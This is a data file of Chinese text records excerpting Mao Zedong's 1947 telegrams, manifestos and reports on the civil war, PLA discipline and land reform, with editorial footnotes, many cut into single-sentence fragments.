    {"text": "关于西北战场的作战方针 关于西北战场的作战方针 * （一九四七年四月十五日） （一）敌现已相当疲劳，尚未十分疲劳；敌粮已相当困难，尚未极端困难。我军自歼敌第三十一旅 〔1〕 后，虽未大量歼敌，但在二十天中已经达到使敌相当疲劳和相当缺粮之目的，给今后使敌十分疲劳、断绝粮食和最后被歼造成有利条件。 （二）目前敌之方针是不顾疲劳粮缺，将我军主力赶到黄河以东，然后封锁绥德、米脂，分兵“清剿”。敌三月三十一日到清涧不即北进，目的是让一条路给我走；敌西进瓦窑堡，是赶我向绥、米。现在因发现我军，故又折向瓦市以南以西，再向瓦市赶我北上。 （三）我之方针是继续过去办法，同敌在现地区再周旋一时期（一个月左右），目的在使敌达到十分疲劳和十分缺粮之程度，然后寻机歼击之。我军主力不急于北上打榆林，也不急于南下打敌后路。应向指战员和人民群众说明，我军此种办法是最后战胜敌人必经之路。如不使敌十分疲劳和完全饿饭，是不能最后获胜的。这种办法叫“蘑菇”战术，将敌磨得精疲力竭，然后消灭之。 （四）你们现在位于瓦市以东和以北地区，引敌向瓦市以北最为有利；然后可向敌廖昂 〔2〕 薄弱部分攻击，引敌向东；再后你们可折向安塞方面，引敌再向西。 （五）但你们在数日内即应令三五九旅（全部）完成向南袭击之准备，以便在一星期以后派其向南担任袭击延长延安之线以南、宜川洛川之线以北地区，断敌粮运。 （六）以上意见妥否望复。 注 释 * 这是毛泽东给西北野战兵团（一九四七年七月改称西北野战军）的电报。西北战场的人民解放军，是由彭德怀、贺龙、习仲勋等领导的陕甘宁解放区和晋绥解放区的人民解放军所组成的。 〔1〕 西北人民解放军主动撤出延安后，以小部兵力诱敌主力进至安塞（在延安西北），主力埋伏于延安东北的青化砭地区，待机歼敌。一九四七年三月二十五日，国民党军胡宗南部整编二十七师之三十一旅旅部率一个团共二千九百余人进入人民解放军伏击圈内，经过一个多小时的战斗，人民解放军将其全部歼灭。这是中共中央撤出延安后陕北战场的第一个胜仗。 〔2〕 廖昂是国民党军胡宗南部整编七十六师师长，当时率部驻守于延川、清涧一带，后来在一九四七年十月十一日清涧战斗中被人民解放军活捉。"},
    {"text": "蒋介石政府已处在全民的包围中 蒋介石政府已处在全民的包围中 * （一九四七年五月三十日） 和全民为敌的蒋介石政府，现在已经发现它自己处在全民的包围中。"},
    {"text": "蒋介石的军警宪特同学生群众之间，到处发生冲突。 蒋介石用逮捕、监禁、殴打、屠杀等项暴力行为对付赤手空拳的学生，学生运动因而日益扩大。"},
    {"text": "由于美国帝国主义及其走狗蒋介石代替了日本帝国主义及其走狗汪精卫的地位，采取了变中国为美国殖民地的政策、发动内战的政策和加强法西斯独裁统治的政策，他们就宣布他们自己和全国人民为敌，他们就将全国各阶层人民放在饥饿和死亡的界线上，因而就迫使全国各阶层人民团结起来，同蒋介石反动政府作你死我活的斗争，并使这个斗争迅速发展下去。"},
    {"text": "被蒋介石政府各项反动政策所压迫、处于团结自救地位的中国各阶层人民，包括了工人、农民、城市小资产阶级、民族资产阶级、开明绅士、其他爱国分子、少数民族和海外华侨在内。"},
    {"text": "不但去年占长春、占承德、占张家口、占菏泽、占淮阴、占安东 〔6〕 时候的那种神气，现在没有了，就是今年占临沂、占延安时候的那种神气，现在也没有了。"},
    {"text": "蒋介石、陈诚曾经错误地估计了人民解放军的力量和人民解放军的作战方法，以为退却就是胆怯，放弃若干城市就是失败，妄想在三个月或六个月内解决关内问题，然后再解决东北问题。"},
    {"text": "蒋介石军队在前线打败仗的消息传到后方的日益增多，被蒋介石反动政府压迫得喘不过气来的广大人民群众，就日益感觉自己的出头翻身有了希望。"},
    {"text": "在几次庄严的停战协定被蒋介石撕毁得干干净净之后，在用刺刀向着要和平反内战的学生群众之后，除了存心欺骗的人们或者政治上毫无经验的人们之外，什么人也不会相信蒋介石的所谓和谈了。"},
    {"text": "〔1〕 从一九四六年十二月起，随着人民解放战争的发展，国民党统治区广大学生的爱国民主运动，有了新的高涨，逐步形成为反对蒋介石反动统治斗争的第二条战线。"},
    {"text": "一九四六年十二月底到一九四七年一月初，北平、天津、上海、南京等几十个大中城市，五十多万学生，相继举行罢课和游行示威，抗议美国士兵强奸北京大学一名女生的暴行，要求美军撤出中国。"},
    {"text": "以“反饥饿、反内战、反迫害”为口号的学生罢课示威运动，和工人罢工、教员罢教等各界人民的反美反蒋斗争，当时遍及六十多个大中城市。 一九四八年五月间，上海学生又同文化界、新闻界和其他各界一起，展开了反对美国扶植日本侵略势力复活的爱国运动，这个运动也迅速地扩展到其他许多城市。"},
    {"text": "〔2〕 国民党政府于一九四七年五月十八日颁布所谓《维持社会秩序临时办法》，严禁人民十人以上的请愿和一切罢工、罢课、游行示威，并授权各地方政府，对于人民的爱国民主运动，采取“紧急措施”，进行镇压。"},
    {"text": "〔3〕 见本书第一卷《实践论》注〔6〕。 〔4〕 见本书第一卷《论反对日本帝国主义的策略》注〔8〕。 〔5〕 见本卷《迎接中国革命的新高潮》注〔5〕。"},
    {"text": "解放战争第二年的战略方针 解放战争第二年的战略方针 * （一九四七年九月一日） （一）第一年作战（去年七月至今年六月），歼灭敌正规军九十七个半旅，七十八万人，伪军、保安队等杂部三十四万人，共计一百十二万人。"},
    {"text": "这一胜利，给了敌人以严重打击，在整个敌人营垒中引起了极端深刻的失败情绪，兴奋了全国人民，奠定了我军歼灭全部敌军、争取最后胜利的基础。"},
    {"text": "（二）第一年作战，敌人以二百四十八个正规旅中的二百十八个旅一百六十多万人，近百万的特种兵（海军、空军、炮兵、工兵、装甲兵），以及伪军、交通警察部队、保安部队等，向我解放区大举进攻。 我军正确地采取战略上的内线作战方针，不惜付出三十余万人的伤亡，大块土地的被敌占领，使自己随时随地立于主动地位，因而争取了歼敌一百十二万人，分散了敌军，锻炼和壮大了我军，并且在东北、热河、冀东、晋南、豫北举行了战略性的反攻，收复和新解放了广大的土地 〔1〕 。 （三）我军第二年作战的基本任务是：举行全国性的反攻，即以主力打到外线去，将战争引向国民党区域，在外线大量歼敌，彻底破坏国民党将战争继续引向解放区、进一步破坏和消耗解放区的人力物力、使我不能持久的反革命战略方针。 我军第二年作战的部分任务是：以一部分主力和广大地方部队继续在内线作战，歼灭内线敌人，收复失地。"},
    {"text": "因为到国民党区域创立新根据地需要时间，需要在多次往返机动的作战中大量歼灭敌人、发动群众、分配土地、建立政权、建立人民武装之后，方能创立巩固的根据地。"},
    {"text": "（六）敌军分布，到今年八月底止，连被歼灭和受歼灭性打击者都算在内，南线一百五十七个旅，北线七十个旅，国民党后方二十一个旅，全国总数仍是二百四十八个旅，实际人数约一百五十万人；"},
    {"text": "南线各军中，顾祝同系统一百十七个旅，程潜系统和其他七个旅，胡宗南系统三十三个旅。 顾军一百十七个旅中，被我歼灭和受歼灭性打击者有六十三个旅。"},
    {"text": "胡宗南系统（包括兰州以东，宁夏榆林以南，临汾洛阳以西）之三十三个旅中，被歼灭和受歼灭性打击者有十二个旅，能用于战略性机动者只有七个旅，其余均任守备。"},
    {"text": "其中，东北系统二十六个旅，内有十六个旅被歼灭和受歼灭性打击； 孙连仲系统十九个旅，内有八个旅被歼灭和受歼灭性打击； 傅作义十个旅，内有二个旅受歼灭性打击； 阎锡山十五个旅，内有九个旅被歼灭和受歼灭性打击。"},
    {"text": "其中，新疆和甘西八个旅，川、康七个旅，云南两个旅，广东两个旅（即被歼灭的第六十九师），台湾两个旅，湖南、广西、贵州、福建、浙江、江西六省全无正规军。"},
    {"text": "但是，只要我军能如第一年作战平均每月歼敌八个旅，在第二年再歼敌九十六至一百个旅（七、八两月已歼敌十六个半旅），则敌军将进一步大受削弱，其战略性机动兵力将减少至极度，势将被迫在全国一切地方处于防御地位，到处受我攻击。"},
    {"text": "（七）我军作战方针，仍如过去所确立者，先打分散孤立之敌（包括一次打几个旅的大规模歼灭性战役在内，例如今年二月莱芜战役 〔2〕 ，七月鲁西南战役 〔3〕 ），后打集中强大之敌。"},
    {"text": "每战集中绝对优势兵力，四面包围敌人，力求全歼，不使漏网。 在特殊情况下，则采用给敌以歼灭性打击之方法，即集中全力打敌正面及其一翼或两翼，以求达到歼灭其一部、击溃其另一部之目的，以便我军能够迅速转移兵力，歼击他部敌军。 一方面，必须注意不打无准备之仗，不打无把握之仗，每战都应力求有准备，力求在敌我条件对比上有胜利之把握；"},
    {"text": "必须力求调动敌人打运动战，但同时必须极大地注重学习阵地攻击战术，加强炮兵、工兵建设，以便广泛地夺取敌人据点和城市。 一切守备薄弱之据点和城市则坚决攻取之，一切有中等程度的守备而又环境许可之据点和城市则相机攻取之，一切守备强固之据点和城市则暂时弃置之。"},
    {"text": "在一切新老解放区必须坚决实行土地改革（这是支持长期战争取得全国胜利的最基本条件），发展生产，厉行节约，加强军事工业的建设，一切为了前线的胜利。"},
    {"text": "晋冀鲁豫野战军于六月三十日在鲁西南地区强渡黄河，八月上旬越过陇海线，挺进大别山。 晋冀鲁豫野战军的太岳兵团，八月下旬由晋南强渡黄河，挺进豫西地区。 华东野战军在打破敌人的重点进攻以后，其主力部队于八月初挺进鲁西南，九月下旬进入豫皖苏地区。"},
    {"text": "〔1〕 本文所说我军在东北、热河（现分属河北、辽宁两省和内蒙古自治区）、冀东的战略反攻，是指东北民主联军一九四七年的夏季攻势。 自五月十三日开始，东北民主联军在东北和热河、冀东各个战场上同时展开进攻，到七月一日止，歼灭国民党军八万二千余人，收复和一度攻克城镇四十二座，打通了南满、北满的联系，迫使敌军收缩于长春至大石桥、沈阳至山海关铁路沿线，转为防御，从而改变了东北整个局势。 本文所说我军在晋南、豫北的战略性反攻，是指晋冀鲁豫野战军一九四七年三、四、五月间在豫北和晋南同蒲路两侧所展开的攻势。 豫北攻势于三月二十三日发起，在接连攻克延津、阳武（今并入原阳）、濮阳、封丘后向北扩张战果，四月三日挥师北上，至五月二十八日止又攻克淇县、浚县、滑县、汤阴等城，歼敌四万余人。 晋南攻势于四月四日发起，至五月十一日，连克曲沃、新绛、永济等二十二座县城和黄河渡口的禹门口、风陵渡要点，歼敌一万四千余人。"},
    {"text": "南线国民党军以八个整编师，分三路沿沂河、沭河北犯临沂，北线国民党军李仙洲集团三个军由明水（今章丘）、淄川、博山等地南下莱芜、新泰策应，同时从冀南、豫北抽调一个军及三个整编师集结在鲁西南地区，阻止华东野战军西撤和晋冀鲁豫野战军东援，企图同华东野战军主力在临沂地区决战。"},
    {"text": "早在民国十六年（一九二七年），蒋介石就忘恩负义地背叛了国共两党的革命联盟，背叛了孙中山的革命的三民主义和三大政策，从此建立独裁统治，投降帝国主义，打了十年内战，造成日寇侵略。 民国二十五年（一九三六年）西安事变 〔1〕 时期，中国共产党以德报怨，协同张学良、杨虎城两将军，释放蒋介石，希望蒋介石悔过自新，共同抗日。"},
    {"text": "从去年（一九四六年）一月停战协定宣布到现在，蒋介石先后动员了二百二十多个正规旅和近百万的杂色部队，向中国人民从日本帝国主义手里用血战夺取过来的解放区，实行大举进攻，先后侵占了沈阳、抚顺、本溪、四平、长春、永吉、承德、集宁、张家口、淮阴、菏泽、临沂、延安、烟台等城市和广大的乡村。"},
    {"text": "对于全国各地反对内战、反对饥饿、反对美帝国主义侵略的正义的人民运动，对于工人、农民、学生、市民和公教人员的争生存的斗争，蒋介石的方针就是镇压、逮捕和屠杀。 对于国内各少数民族，蒋介石的方针就是实施大汉族主义，摧残镇压，无所不至。"},
    {"text": "在一切蒋介石统治区域，贪污遍地，特务横行，捐税繁重，物价高涨，经济破产，百业萧条，征兵征粮，怨声载道，这样就使全国绝大多数人民，处于水深火热之中。"},
    {"text": "而以蒋介石为首的金融寡头，贪官污吏，土豪劣绅，则集中了巨大的财富。 这些财富，都是蒋介石等利用其独裁权力横征暴敛、假公济私而来的。"},
    {"text": "蒋介石为着维持独裁，进行内战，不惜出卖国家权利于外国帝国主义，勾结美国军队留驻青岛等地，从美国招致顾问人员，参加内战的指挥和军队的训练，残杀自己的同胞。"},
    {"text": "本军的政策，代表中国人民的迫切要求，主要的有如下各项： 一、联合工农兵学商各被压迫阶级、各人民团体、各民主党派、各少数民族、各地华侨和其他爱国分子，组成民族统一战线，打倒蒋介石独裁政府，成立民主联合政府。"},
    {"text": "三、废除蒋介石统治的独裁制度，实行人民民主制度，保障人民言论、出版、集会、结社等项自由。 四、废除蒋介石统治的腐败制度，肃清贪官污吏，建立廉洁政治。"},
    {"text": "五、没收蒋介石、宋子文、孔祥熙、陈立夫兄弟等四大家族和其他首要战犯的财产，没收官僚资本，发展民族工商业，改善职工生活，救济灾民贫民。"},
    {"text": "对于罪大恶极的内战祸首蒋介石和一切坚决助蒋为恶、残害人民、而为广大人民所公认的战争罪犯，本军必将追寻他们至天涯海角，务使归案法办。"},
    {"text": "为了早日打倒蒋介石，建立民主联合政府，我们号召解放区人民贯彻土地改革，巩固民主基础，发展生产，厉行节约，加强人民武装，肃清敌人残留据点，支援前线作战。"},
    {"text": "必须提高纪律性，坚决执行命令，执行政策，执行三大纪律八项注意 〔8〕 ，军民一致，军政一致，官兵一致，全军一致，不允许任何破坏纪律的现象存在。"},
    {"text": "注 释 * 这是毛泽东为中国人民解放军总部所起草的政治宣言。 在这个宣言里，分析了当时的国内政治形势，提出了“打倒蒋介石，解放全中国”的口号，宣布了中国人民解放军的也就是中国共产党的八项基本政策。"},
    {"text": "〔1〕 参见本书第一卷《关于蒋介石声明的声明》注〔1〕。 〔2〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔1〕。 〔3〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔2〕。"},
    {"text": "中国人民解放军总部关于重行颁布三大纪律八项注意的训令 中国人民解放军总部关于重行 颁布三大纪律八项注意的训令 （一九四七年十月十日） 一、本军三大纪律八项注意，实行多年 〔1〕 ，其内容各地各军略有出入。现在统一规定，重行颁布。望即以此为准，深入教育，严格执行。至于其他应当注意事项，各地各军最高首长，可根据具体情况，规定若干项目，以命令施行之。 二、三大纪律如下： （一）一切行动听指挥；（二）不拿群众一针一线；（三）一切缴获要归公。 三、八项注意如下： （一）说话和气；（二）买卖公平；（三）借东西要还；（四）损坏东西要赔；（五）不打人骂人；（六）不损坏庄稼；（七）不调戏妇女；（八）不虐待俘虏。 注 释 〔1〕 三大纪律、八项注意，是毛泽东等在第二次国内革命战争中为中国工农红军制订的纪律，其具体内容在不同时候和不同部队略有出入。在红军初创时期，就已提出部队对待群众要说话和气，买卖公平，不拉伕，不打人，不骂人。一九二八年春工农红军在井冈山的时候，规定了三项纪律：第一、行动听指挥；第二、不拿工人农民一点东西；第三、打土豪要归公。一九二八年夏提出了六项注意：一、上门板，二、捆铺草，三、说话和气，四、买卖公平，五、借东西要还，六、损坏东西要赔。一九二九年以后，毛泽东又将三大纪律中的“不拿工人农民一点东西”，改为“不拿群众一针一线”；“打土豪要归公”改为“筹款要归公”，后来又改为“一切缴获要归公”。对于六项注意，增加了“洗澡避女人”和“不搜俘虏腰包”两项内容，从而成为三大纪律、八项注意。这些纪律，曾经是红军以及后来的八路军、新四军、人民解放军政治工作的重要内容，对于人民军队的建设，对于正确处理军队内部关系、团结人民群众和确立人民军队对待俘虏的正确政策，都起了伟大的作用。"},
    {"text": "还在一九四六年七月至一九四七年六月此次战争的第一个年头内，人民解放军即已在几个战场上打退了蒋介石的进攻，迫使蒋介石转入防御地位。 而从战争第二年的第一季，即一九四七年七月至九月间，人民解放军即已转入了全国规模的进攻，破坏了蒋介石将战争继续引向解放区、企图彻底破坏解放区的反革命计划。 现在，战争主要地已经不是在解放区内进行，而是在国民党统治区内进行了，人民解放军的主力已经打到国民党统治区域里去了 〔1〕 。 中国人民解放军已经在中国这一块土地上扭转了美国帝国主义及其走狗蒋介石匪帮的反革命车轮，使之走向覆灭的道路，推进了自己的革命车轮，使之走向胜利的道路。"},
    {"text": "这是一个伟大的事变。 这个事变所以带着伟大性，是因为这个事变发生在一个拥有四亿七千五百万人口的国家内，这个事变一经发生，它就将必然地走向全国的胜利。 这个事变所以带着伟大性，还因为这个事变发生在世界的东方，在这里，共有十万万以上人口（占人类的一半）遭受帝国主义的压迫。"},
    {"text": "中国人民的任务，是要在第二次世界大战结束、日本帝国主义被打倒以后，在政治上、经济上、文化上完成新民主主义的改革，实现国家的统一和独立，由农业国变成工业国。 然而恰在这时，在反法西斯的第二次世界大战胜利地结束以后，美国帝国主义及其在各国的走狗代替德国和日本帝国主义及其走狗的地位，组成反动阵营，反对苏联，反对欧洲各人民民主国家，反对各资本主义国家的工人运动，反对各殖民地半殖民地的民族运动，反对中国人民的解放。 在这种时候，以蒋介石为首的中国反动派，和日本帝国主义的走狗汪精卫一模一样，充当美国帝国主义的走狗，将中国出卖给美国，发动战争，反对中国人民，阻止中国人民解放事业的前进。"},
    {"text": "在这种时候，如果我们表示软弱，表示退让，不敢坚决地起来用革命战争反对反革命战争，中国就将变成黑暗世界，我们民族的前途就将被断送。"},
    {"text": "中国共产党依据马克思列宁主义的科学，清醒地估计了国际和国内的形势，知道一切内外反动派的进攻，不但是必须打败的，而且是能够打败的。"},
    {"text": "中国解放区还只有一万万多一点的人口，其中大部分地区的反动封建势力还没有被肃清，土地改革还不普遍和不彻底，就是说，人民解放军的后方还不是巩固的。"},
    {"text": "从这种估计出发，蒋介石匪帮就不顾中国人民的和平愿望，最后地撕毁在一九四六年一月间签订的国共两党的停战协定 〔2〕 和各党派政治协商会议的决议 〔3〕 ，发动了冒险的战争。"},
    {"text": "三 十七个月（一九四六年七月至一九四七年十一月为止，十二月的尚未计入）作战，共打死、打伤、俘虏了蒋介石正规军和非正规军一百六十九万人，其中打死和打伤的有六十四万人，俘虏的有一百零五万人。"},
    {"text": "（4）每战集中绝对优势兵力（两倍、三倍、四倍、有时甚至是五倍或六倍于敌之兵力），四面包围敌人，力求全歼，不使漏网。 在特殊情况下，则采用给敌以歼灭性打击的方法，即集中全力打敌正面及其一翼或两翼，求达歼灭其一部、击溃其另一部的目的，以便我军能够迅速转移兵力歼击他部敌军。"},
    {"text": "（5）不打无准备之仗，不打无把握之仗，每战都应力求有准备，力求在敌我条件对比下有胜利的把握。 （6）发扬勇敢战斗、不怕牺牲、不怕疲劳和连续作战（即在短期内不休息地接连打几仗）的作风。"},
    {"text": "同时，注重阵地攻击战术，夺取敌人的据点和城市。 （8）在攻城问题上，一切敌人守备薄弱的据点和城市，坚决夺取之。 一切敌人有中等程度的守备、而环境又许可加以夺取的据点和城市，相机夺取之。 一切敌人守备强固的据点和城市，则等候条件成熟时然后夺取之。"},
    {"text": "在人民战争的基础上，在军队和人民团结一致、指挥员和战斗员团结一致以及瓦解敌军等项原则的基础上，人民解放军建立了自己的强有力的革命的政治工作，这是我们战胜敌人的重大因素。"},
    {"text": "在抗日战争时期，为着同国民党建立抗日统一战线和团结当时尚能反对日本帝国主义的人们起见，我党主动地把抗日以前的没收地主土地分配给农民的政策，改变为减租减息的政策，这是完全必需的。 日本投降以后，农民迫切地要求土地，我们就及时地作出决定，改变土地政策，由减租减息改为没收地主阶级的土地分配给农民。"},
    {"text": "为着坚决地彻底地进行土地改革，乡村中不但必须组织包括雇农贫农中农在内的最广泛群众性的农会及其选出的委员会，而且必须首先组织包括贫农雇农群众的贫农团及其选出的委员会，以为执行土地改革的合法机关，而贫农团则应当成为一切农村斗争的领导骨干。"},
    {"text": "地主富农在乡村人口中所占的比例，虽然各地有多有少，但按一般情况来说，大约只占百分之八左右（以户为单位计算），而他们占有的土地，按照一般情况，则达全部土地的百分之七十至八十。 因此，我们的土地改革所反对的对象，人数甚少，而乡村中能够参加和应当参加土地改革统一战线的人数（户数），则有大约百分之九十以上这样多。"},
    {"text": "旧式富农按照平分原则所多余的土地及其一部分财产之所以应当拿出来分配，是因为中国的富农一般地带着很重的封建和半封建剥削的性质，富农大都兼出租土地和放高利贷，其雇佣劳动的条件亦是半封建的 〔9〕 。"},
    {"text": "在平分时，中农中一部分土地不变动，一部分增加了土地，只有一部分富裕中农有少数多余的土地，他们也愿意拿出来平分，这是因为在平分后他们的土地税的负担也减轻了。"},
    {"text": "虽然如此，各地在平分土地时，仍须注意中农的意见，如果中农不同意，则应向中农让步。 在没收分配封建阶级的土地财产时应当注意某些中农的需要。 在划分阶级成分时，必须注意不要把本来是中农成分的人，错误地划到富农圈子里去。 在农会委员会中，在政府中，必须吸收中农积极分子参加工作。"},
    {"text": "这种成效，主要地是在于使我们的领导机关和广大的干部和党员，进一步地掌握了马克思列宁主义的普遍真理和中国革命的具体实践的统一这样一个基本的方向。"},
    {"text": "全党同志必须明白，解决这个党内不纯的问题，整编党的队伍，使党能够和最广大的劳动群众完全站在一个方向，并领导他们前进，是解决土地问题和支援长期战争的一个决定性的环节。"},
    {"text": "这个垄断资本，和国家政权结合在一起，成为国家垄断资本主义。 这个垄断资本主义，同外国帝国主义、本国地主阶级和旧式富农密切地结合着，成为买办的封建的国家垄断资本主义。"},
    {"text": "新民主主义的革命任务，除了取消帝国主义在中国的特权以外，在国内，就是要消灭地主阶级和官僚资产阶级（大资产阶级）的剥削和压迫，改变买办的封建的生产关系，解放被束缚的生产力。"},
    {"text": "被这些阶级及其国家政权所压迫和损害的上层小资产阶级和中等资产阶级，虽然也是资产阶级，却是可以参加新民主主义革命，或者保守中立的。"},
    {"text": "蒋介石统治区域的上层小资产阶级和中等资产阶级，其中有为数不多的一部分人，即这些阶级的右翼分子，存在着反动的政治倾向，他们替美国帝国主义和蒋介石反动集团散布幻想，他们反对人民民主革命。"},
    {"text": "当着他们的反动倾向尚能影响群众时，我们应当向着接受他们影响的群众进行揭露的工作，打击他们在群众中的政治影响，使群众从他们的影响之下解放出来。"},
    {"text": "新民主主义革命所要消灭的对象，只是封建主义和垄断资本主义，只是地主阶级和官僚资产阶级（大资产阶级），而不是一般地消灭资本主义，不是消灭上层小资产阶级和中等资产阶级。"},
    {"text": "由于中国经济的落后性，广大的上层小资产阶级和中等资产阶级所代表的资本主义经济，即使革命在全国胜利以后，在一个长时期内，还是必须允许它们存在；"},
    {"text": "革命在全国胜利以后，由于新民主主义国家手里有着从官僚资产阶级接收过来的控制全国经济命脉的巨大的国家企业，又有从封建制度解放出来、虽则在一个颇长时间内在基本上仍然是分散的个体的、但是在将来可以逐步地引向合作社方向发展的农业经济，在这些条件下，这种小的和中等的资本主义成分，其存在和发展，并没有什么危险。"},
    {"text": "对于上层小资产阶级和中等资产阶级经济成分采取过左的错误的政策，如像我们党在一九三一年至一九三四年期间所犯过的那样（过高的劳动条件，过高的所得税率，在土地改革中侵犯工商业者，不以发展生产、繁荣经济、公私兼顾、劳资两利为目标，而以近视的片面的所谓劳动者福利为目标），是绝对不许重复的。"},
    {"text": "七 一九四七年十月，人民解放军发表宣言，其中说：“联合工农兵学商各被压迫阶级、各人民团体、各民主党派、各少数民族、各地华侨和其他爱国分子，组成民族统一战线，打倒蒋介石独裁政府，成立民主联合政府。"},
    {"text": "但是在实际上，只是在现在时期，只是在蒋介石出卖民族利益给美国帝国主义，发动反人民的全国规模的国内战争之后，只是在美国帝国主义和蒋介石反动统治集团的罪恶已经在中国人民面前暴露无遗之后，我们的民族统一战线才是真正地扩大了。"},
    {"text": "和国民党相反，中国共产党不但在解放区得到最广大人民群众的信任； 在国民党统治区，在国民党控制的大城市，也得到了广大人民群众的拥护。"},
    {"text": "如果说，在一九四六年，在蒋介石统治下的上层小资产阶级和中等资产阶级的知识分子中，还有一部分人怀着所谓第三条道路 〔12〕 的想法，那末，在现在，这种想法已经破产了。"},
    {"text": "由于美国帝国主义的侵略、蒋介石的压迫和我党坚决保护群众利益的正确方针，我党获得了蒋介石统治区域工人阶级、农民阶级、城市小资产阶级和中等资产阶级的广大群众的同情。 这些群众，因为挨饿，因为政治上受压迫，因为蒋介石的反人民的内战夺去了人民的一切活路，他们就不断地掀起了反对美国帝国主义和蒋介石反动政府的斗争，他们的基本口号是反饥饿，反迫害，反内战和反对美国干涉中国内政。"},
    {"text": "这件事，不但同我们的土地政策和城市政策相联系，而且同人民解放军的胜利，同蒋介石由进攻转入防御，人民解放军由防御转入进攻，中国革命已经进入新的高潮时期，这一总的政治形势，密切地联系着。"},
    {"text": "在一九二七年北伐战争达到高潮的时期，我党领导机关的投降主义分子，自愿地放弃对于农民群众、城市小资产阶级和中等资产阶级的领导权，尤其是放弃对于武装力量的领导权，使那次革命遭到了失败。 抗日战争时期，我党反对了和这种投降主义思想相类似的思想，即是对于国民党的反人民政策让步，信任国民党超过信任人民群众，不敢放手发动群众斗争，不敢在日本占领地区扩大解放区和扩大人民的军队，将抗日战争的领导权送给国民党。 我党对于这样一种软弱无能的腐朽的违背马克思列宁主义原则的思想，进行了坚决的斗争，坚决地执行了“发展进步势力，争取中间势力，孤立顽固势力”的政治路线，坚决地扩大了解放区和人民解放军。 这样，就不但保证了我党在日本帝国主义侵略时期能够战胜日本帝国主义，而且保证了我党在日本投降以后蒋介石举行反革命战争时期，能够顺利地不受损失地转变到用人民革命战争反对蒋介石反革命战争的轨道上，并在短时期内取得了伟大的胜利。"},
    {"text": "八 蒋介石反动集团在一九四六年发动全国规模的反人民的国内战争的时候，他们之所以敢于冒险，不但依靠他们自己的优势的军事力量，而且主要地依靠他们认为是“异常强大”的、“举世无敌”的、手里拿着原子弹的美国帝国主义。"},
    {"text": "这件事，反映了第二次世界大战给予世界资本主义的打击的严重性，反映了各国反动派力量的薄弱及其心理的恐慌和丧失信心，反映了全世界革命力量的强大，使得各国反动派除了依靠美国帝国主义的援助，就感到毫无出路。"},
    {"text": "这种情况，迫使美国帝国主义分子建立了奴役世界的计划，像野兽一样，向欧亚两洲和其他地方乱窜，集合各国的反动势力，那些被人民唾弃的渣滓，组成帝国主义和反民主的阵营，反对以苏联为首的一切民主势力，准备战争，企图在将来，在遥远的时间内，有一天发动第三次世界大战打败民主力量。"},
    {"text": "没有危机的、向上发展的、受到全世界广大人民群众爱护的社会主义的苏联，它的力量，现在就已经超过了被危机严重威胁着的、向下衰落的、受到全世界广大人民群众反对的帝国主义的美国。"},
    {"text": "东方各国一切反帝国主义的力量，也应当团结起来，反对帝国主义和各国内部反动派的压迫，以东方十万万以上被压迫人民获得解放为奋斗的目标。"},
    {"text": "我们和全世界民主力量一道，只要大家努力，一定能够打败帝国主义的奴役计划，阻止第三次世界大战使之不能发生，推翻一切反动派的统治，争取人类永久和平的胜利。"},
    {"text": "但是，只要我们能够掌握马克思列宁主义的科学，信任群众，紧紧地和群众一道，并领导他们前进，我们是完全能够超越任何障碍和战胜任何困难的，我们的力量是无敌的。"},
    {"text": "会议讨论了和通过了毛泽东的这个报告和他所写的《关于目前国际形势的几点估计》（见本卷第一一八四页）。 关于毛泽东的报告，会议的决定指出：“这个报告是整个打倒蒋介石反动统治集团，建立新民主主义中国的时期内，在政治、军事、经济各方面带纲领性的文件。"},
    {"text": "全党全军应将这个文件联系一九四七年双十节各项文件（按指一九四七年十月十日公布的《中国人民解放军宣言》、《中国人民解放军口号》、《中国人民解放军总部关于重行颁布三大纪律八项注意的训令》、《中国土地法大纲》和《中共中央关于公布中国土地法大纲的决议》），进行深入教育，并在实践中严格地遵照实施。"},
    {"text": "”这次会议的其他重要决定有：（1）中国人民革命战争应该力争不间断地发展到完全胜利，应该不让敌人用缓兵之计（和谈）获得休整时间，然后再来打人民。"},
    {"text": "〔4〕 一九五八年六月二十三日，毛泽东在中央军委扩大会议小组长座谈会上的讲话中指出：十大军事原则，是根据十年内战、抗日战争、解放战争前期的经验，在解放战争进入反攻时期提出来的，是马克思列宁主义普遍真理同中国革命战争实践相结合的产物。 运用十大原则，取得了解放战争、抗美援朝战争的胜利（当然还有其他原因）。"},
    {"text": "十大原则目前还可以用，今后有许多地方还可以用。 但马克思列宁主义不是停止的，是向前发展的，十大原则也要根据今后战争的实际情况，加以补充和发展，有的可能要修正。"},
    {"text": "薛岳原任国民党徐州绥靖公署主任，因为他所指挥的国民党军队在一九四六年十二月宿北战役、一九四七年一月鲁南战役、同年二月莱芜战役中，接连遭受严重失败，于三月被撤职。 吴奇伟原任国民党徐州绥靖公署副主任，因为一九四六年十二月宿北战役失败，于一九四七年三月被撤职。 汤恩伯原任国民党第一兵团司令官，因为一九四七年五月孟良崮战役中国民党整编第七十四师被歼，于六月被撤职。 王仲廉原任国民党第四兵团司令官，因为一九四七年七月在鲁西南战役中失败，于八月被撤职。 杜聿明原任国民党东北保安司令长官，熊式辉原任国民党东北行辕主任，均因在东北民主联军一九四七年夏季攻势中遭到失败而于八月被撤职。 孙连仲原任国民党保定绥靖公署主任，因为一九四七年十月至十一月在清风店、石家庄战役中遭到失败而被撤职。 陈诚原任国民党军参谋总长，因指挥山东历次战役屡遭失败，于一九四七年八月兼任东北行辕主任，被取消了参谋总长的实际权力。"},
    {"text": "“乡村中一切地主的土地及公地，由乡村农会接收，连同乡村中其他一切土地，按乡村全部人口，不分男女老幼，统一平均分配”； “乡村农会接收地主的牲畜、农具、房屋、粮食及其他财产，并征收富农的上述财产的多余部分，分给缺乏这些财产的农民及其他贫民，并分给地主同样的一份”。"},
    {"text": "这样，土地法大纲就不但肯定了一九四六年《五四指示》所提出的“没收地主土地分配给农民”的原则，而且改正了《五四指示》中对某些地主照顾过多的不彻底性。"},
    {"text": "一九四八年二月，中共中央在《关于在老区半老区进行土地改革工作与整党工作的指示》中规定：在一切封建制度已被推翻的老区半老区，不再平分土地，而只在必要时采取抽多补少、抽肥补瘦的办法，调剂一部分土地和其他生产资料给尚未彻底翻身的贫雇农，并容许中农保有比较一般贫农所得土地的平均水平为高的土地数量。"},
    {"text": "〔9〕 中国土地改革中的富农问题，是在中国具体的历史经济条件下形成的一个特殊问题。 中国的富农，一般具有很重的封建和半封建剥削的性质，而这种富农经济在全国农业经济中又不占重要地位，这两点都不同于许多资本主义国家中的富农。"},
